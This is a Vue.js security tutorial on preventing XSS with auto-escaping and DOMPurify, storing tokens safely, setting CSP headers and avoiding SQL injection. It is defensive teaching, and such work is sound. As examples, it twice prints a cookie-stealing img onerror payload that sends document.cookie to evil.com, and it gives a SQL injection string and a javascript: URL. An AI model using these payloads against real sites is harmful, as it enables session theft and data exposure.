22 — Security
XSS Prevention — Auto-Escaping vs v-html
XSSPrevention.vue
<script setup>
import { ref, computed } from 'vue'
import DOMPurify from 'dompurify'
const userComment = ref('<script>alert("xss")<\/script>')
const userBio = ref('<img src=x onerror=alert(1)>')
const trustedHtml = ref('<strong>Bold text</strong>')
</script>
<template>
<!-- ── SAFE: {{ }} escapes all HTML entities ── -->
<!-- Renders literally: <script>alert("xss")</script> as text, not executed -->
<p>{{ userComment }}</p>
<!-- ── SAFE: v-bind escapes attribute values ── -->
<img :alt="userBio" /> <!-- onerror in alt text, not as an attribute -->
<!-- ── DANGEROUS: v-html injects raw HTML — XSS vector ── -->
<!-- <p v-html="userComment" /> → <script> executes! -->
<!-- NEVER use v-html with user-generated content without sanitization. -->
<!-- ── SAFE: sanitize with DOMPurify before v-html ── -->
<p v-html="DOMPurify.sanitize(trustedHtml)" />
<!-- DOMPurify removes: <script>, onerror, onclick, javascript: URLs -->
<!-- Keeps: <strong>, <em>, <a href>, <p>, <br>, safe tags only -->
</template>
Anti-Pattern: v-html with User Content
XSSBug.vue
<script setup>
import { ref } from 'vue'
const comment = ref('') // user input
</script>
<template>
<!-- ❌ WRONG: direct v-html on user input — XSS vulnerability -->
<div v-html="comment" />
<!-- User types: <img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)" /> -->
<!-- The onerror handler runs, stealing the user's cookies. -->
</template>
XSSFixed.vue
<script setup>
import { ref, computed } from 'vue'
import DOMPurify from 'dompurify'
const comment = ref('')
// ── Sanitized HTML: computed re-runs when comment changes ──
const safeHtml = computed(() => DOMPurify.sanitize(comment.value))
</script>
<template>
<!-- ✅ CORRECT: sanitized before v-html -->
<div v-html="safeHtml" />
</template>
DOMPurify Configuration — Custom Allowed Tags
sanitization.ts
import DOMPurify from 'dompurify'
// ── Custom DOMPurify config: allow specific tags and attributes ──
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'class'],
// ── FORBID_ATTR: explicitly block dangerous attributes ──
FORBID_ATTR: ['style', 'onerror', 'onclick', 'onload'],
// ── ALLOW_DATA_ATTR: allow data-* attributes (custom) ──
ALLOW_DATA_ATTR: false,
// ── ALLOWED_URI_REGEXP: restrict URI schemes ──
// Only allow http, https, mailto — block javascript:, data:, etc.
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):)/i,
})
// ── Hook: inspect and modify elements after sanitization ──
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
// Force all links to open in new tab with rel="noopener noreferrer"
if (node.tagName === 'A' && node.getAttribute('href')) {
node.setAttribute('target', '_blank')
node.setAttribute('rel', 'noopener noreferrer')
}
})
// ── Content Security Policy (CSP) nonce: add to allowed scripts ──
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'SCRIPT') {
node.setAttribute('nonce', cspNonce) // aligns with CSP header
}
})
Credential Handling — Token Storage Strategy
credential-security.ts
import { ref, readonly, type Ref } from 'vue'
// ── Token storage: localStorage vs httpOnly cookie ──
// localStorage: accessible to JS (XSS can steal it).
// httpOnly cookie: NOT accessible to JS (immune to XSS), sent automatically.
// ── Production pattern: short-lived access token in memory + refresh in httpOnly cookie ──
export function useAuth() {
// ── Access token: in memory only — lost on refresh, but immune to XSS theft ──
const accessToken = ref<string | null>(null)
// ── Refresh token: httpOnly cookie set by server, never touched by JS ──
// Server sets Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict
async function login(credentials: { email: string; password: string }) {
const res = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify(credentials),
credentials: 'include', // send/receive cookies (refresh token)
})
const data = await res.json()
accessToken.value = data.accessToken // in memory only
// Refresh token is in httpOnly cookie — never in JS.
}
async function refresh() {
// ── Refresh: server reads httpOnly cookie, returns new access token ──
const res = await fetch('/api/auth/refresh', {
credentials: 'include', // sends the httpOnly refresh cookie
})
if (!res.ok) {
accessToken.value = null // refresh failed — must re-login
throw new Error('Session expired')
}
const data = await res.json()
accessToken.value = data.accessToken
}
function logout() {
accessToken.value = null
// Server endpoint clears the httpOnly cookie (can't clear it from JS).
fetch('/api/auth/logout', { method: 'POST', credentials: 'include' })
}
return {
accessToken: readonly(accessToken), // read-only — no external mutation
login,
refresh,
logout,
}
}
Content Security Policy (CSP)
csp-config.ts
// ── CSP header: restricts where resources can load from ──
// Prevents XSS even if v-html is compromised — scripts can't execute
// unless their source is in the CSP allowlist.
// ── Express (or any backend): set CSP header ──
const cspHeader = [
"default-src 'self'", // everything from same origin only
"script-src 'self'", // scripts from same origin only (no inline)
// For Vue: avoid inline scripts. Vite bundles all JS into external files.
// If using eval (rare): add 'unsafe-eval' (NOT recommended for production).
"style-src 'self' 'unsafe-inline'", // styles: same origin + inline (scoped CSS)
// Vue scoped CSS uses inline <style> → 'unsafe-inline' required for styles.
"img-src 'self' data: https:", // images: same origin, data URIs, HTTPS
"font-src 'self' https://fonts.gstatic.com", // fonts from Google Fonts
"connect-src 'self' https://api.example.com", // XHR/fetch to API only
"frame-ancestors 'none'", // prevent clickjacking (no iframes)
"base-uri 'self'", // prevent <base> injection
"form-action 'self'", // forms submit to same origin only
].join('; ')
// ── Vite: inject nonce for inline scripts (if needed) ──
// vite.config.ts:
// build: {
// rollupOptions: {
// output: {
// // Vite's module preload polyfill uses inline scripts → need nonce
// }
// }
// }
SQL Injection — API Boundary
api-security.ts
// ── Vue itself doesn't talk to the database — but your API does ──
// Security boundary: validate ALL input on the server, never trust client state.
// ── Anti-pattern: building SQL from user input ──
// ❌ const query = `SELECT * FROM users WHERE name = '${userName.value}'`
// User types: ' OR '1'='1 → returns all users (SQL injection)
// ── Correct: parameterized queries ──
// Server (example with better-sqlite3):
// const stmt = db.prepare('SELECT * FROM users WHERE name = ?')
// const result = stmt.get(userName) // parameterized — injection-safe
// ── Vue-side: send data, don't build queries ──
async function searchUsers(name: string) {
const res = await fetch('/api/users/search', {
method: 'POST',
body: JSON.stringify({ name }), // server validates + parameterizes
})
return res.json()
}
// ── Validate on client (UX) AND server (security) ──
// Client validation: fast feedback, reduces server load.
// Server validation: security boundary — never trust client-side validation alone.
function validateEmail(email: string): boolean {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)
}
💡 Tips & Tricks
tips.ts
// ── 1. {{ }} and v-bind escape by default — you're safe by default ──
// Only v-html opts out. Audit every v-html usage in your codebase.
// ── 2. Sanitize markdown before rendering ──
import DOMPurify from 'dompurify'
import { marked } from 'marked'
const safeHtml = DOMPurify.sanitize(marked.parse(userMarkdown))
// marked converts markdown → HTML, DOMPurify strips any XSS in the HTML.
// ── 3. Use rel="noopener noreferrer" on target="_blank" links ──
// <a href="..." target="_blank" rel="noopener noreferrer">
// Prevents the new tab from accessing window.opener (reverse tabnabbing).
// ── 4. SameSite cookie attribute for CSRF prevention ──
// Set-Cookie: token=...; SameSite=Strict; Secure; HttpOnly
// SameSite=Strict: cookie not sent on cross-site requests (CSRF-safe).
// ── 5. Don't store secrets in .env without VITE_ prefix ──
// Non-VITE_ vars stay server-side. VITE_ vars are in the bundle (public).
// Never put API secrets in VITE_ variables — they're in client JS.
⚠️ Edge Cases & Gotchas
edge-cases.ts
// ── 1. v-html with computed sanitization is NOT reactive-safe ──
// If you sanitize once and store the result, later changes to the input
// don't re-sanitize. Use a computed that sanitizes on every change.
// ── 2. DOMPurify doesn't sanitize CSS ──
// <style> tags and style attributes can contain CSS-based attacks
// (expression(), url(javascript:...)). DOMPurify strips <style> by default.
// ── 3. localStorage is readable by any script on the page ──
// If XSS succeeds, the attacker reads localStorage.getItem('token').
// Use httpOnly cookies for sensitive tokens, not localStorage.
// ── 4. Template expressions are sandboxed — limited globals ──
// {{ window.location }} → undefined. Only safe globals (Math, Date, etc.)
// This prevents some XSS via template injection, but doesn't replace v-html care.
// ── 5. CSP 'unsafe-inline' for styles is required for Vue scoped CSS ──
// Vue injects <style> tags at runtime in dev mode → CSP needs 'unsafe-inline' for styles.
// In production (build mode): styles are external files → can remove 'unsafe-inline'.
// ── 6. href="javascript:..." in user-provided links ──
// <a :href="userUrl"> — if userUrl is "javascript:alert(1)", clicking runs the script.
// Validate: if (!userUrl.startsWith('http')) userUrl = '#' // force safe protocol
🧠 Spot the Bug
A comment section renders user input via v-html and a user injects a cookie-stealing script.
SecurityBug.vue
<script setup>
import { ref } from 'vue'
const comment = ref('')
</script>
<template>
<input v-model="comment" placeholder="Write a comment" />
<!-- ❌ v-html on raw user input — XSS vulnerability -->
<div v-html="comment" />
</template>
Answer
v-html injects the user's input as raw HTML. A malicious user can type <img src=x onerror="fetch('https://evil.com?c='+document.cookie)"> — the onerror handler executes when the image fails to load, stealing cookies.
Fix — sanitize with DOMPurify before v-html:
SecurityFixed.vue
<script setup>
import { ref, computed } from 'vue'
import DOMPurify from 'dompurify'
const comment = ref('')
// Sanitize on every change — removes script tags, onerror, onclick, etc.
const safeComment = computed(() => DOMPurify.sanitize(comment.value))
</script>
<template>
<input v-model="comment" placeholder="Write a comment" />
<!-- ✅ Sanitized HTML — dangerous tags/attrs stripped -->
<div v-html="safeComment" />
</template>
The lesson: v-html bypasses Vue's auto-escaping. Always sanitize user-generated content with DOMPurify (or equivalent) before passing it to v-html. The default {{ }} interpolation escapes everything — use it unless you specifically need raw HTML.